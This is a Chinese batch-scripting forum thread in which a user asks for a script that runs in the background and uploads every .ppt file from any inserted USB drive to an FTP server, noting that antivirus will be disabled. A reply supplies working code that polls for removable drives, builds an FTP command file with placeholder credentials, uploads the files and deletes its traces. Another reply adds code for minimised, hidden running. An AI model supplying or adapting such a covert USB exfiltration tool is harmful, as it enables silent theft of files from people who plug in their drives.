Board logo

标题: [网络连接] 批处理怎么检测是否插入U盘并并把U盘的指定扩展名的文件上传到ftp [打印本页]

作者: jellyhk    时间: 2010-12-20 22:43     标题: 批处理怎么检测是否插入U盘并并把U盘的指定扩展名的文件上传到ftp

本帖最后由 pcl_test 于 2016-11-17 13:04 编辑

求助高手用批处理把U盘里的全部*.ppt发送到ftp空间的程序
5


我想写一个批处理,内容一下:
监测 一U盘插上去就开始扫描出所有*.ppt文件 并发送到xxx名yyy密码的ftp中 全部过程都在后台进行   不用考虑杀毒软件   我会事前关掉的
作者: hanyeguxing    时间: 2010-12-20 23:17

非后台运行:
  1. @echo off
  2. :Han
  3. wmic logicaldisk where DriveType=2 get DeviceID|find ":">nul
  4. if errorlevel 1 (
  5.         >nul ping 127.1
  6.         goto:Han
  7.         )
  8. (
  9. echo 帐户
  10. echo 密码
  11. echo cd /目录/
  12. for /f "skip=1 delims=" %%a in ('wmic logicaldisk where DriveType^=2 get DeviceID') do for /r "%%a" %%b in (*.ppt) do echo put "%%b" "%%~nxb"
  13. echo quit
  14. )>Ye.h
  15. ftp -s:"Ye.h" ftp服务器地址
  16. del /q Ye.h
复制代码

[ 本帖最后由 hanyeguxing 于 2010-12-20 23:25 编辑 ]
作者: jellyhk    时间: 2010-12-21 09:52

能给每段的功能说明下么!摆脱拉!
后台运行是不是就是隐藏运行?
作者: jellyhk    时间: 2010-12-22 09:24

顶,再问个问题!~能用bat发送email么!
作者: Batcher    时间: 2010-12-22 17:19     标题: 回复 4楼 的帖子

可以在BAT里面调用VBS或者其它第三方命令行工具来发邮件
作者: Ryeah    时间: 2010-12-24 00:01     标题: 回复 3楼 的帖子

  1. @echo off
  2. mode con cols=15 lines=1
  3. if exist "Temp.bat" goto Start
  4. >Temp.bat echo start/min "" "%~nx0"^&exit
  5. start/min Temp.bat&exit
  6. :Start
  7. del "Temp.bat">nul
  8. pause & exit
复制代码
论坛发现的最小化代码。
作者: jellyhk    时间: 2010-12-31 15:11

谁能把2楼的给说明下啊~有些看不懂!那段是检测u盘?




欢迎光临 批处理之家 (http://www.bathome.net/) Powered by Discuz! 7.2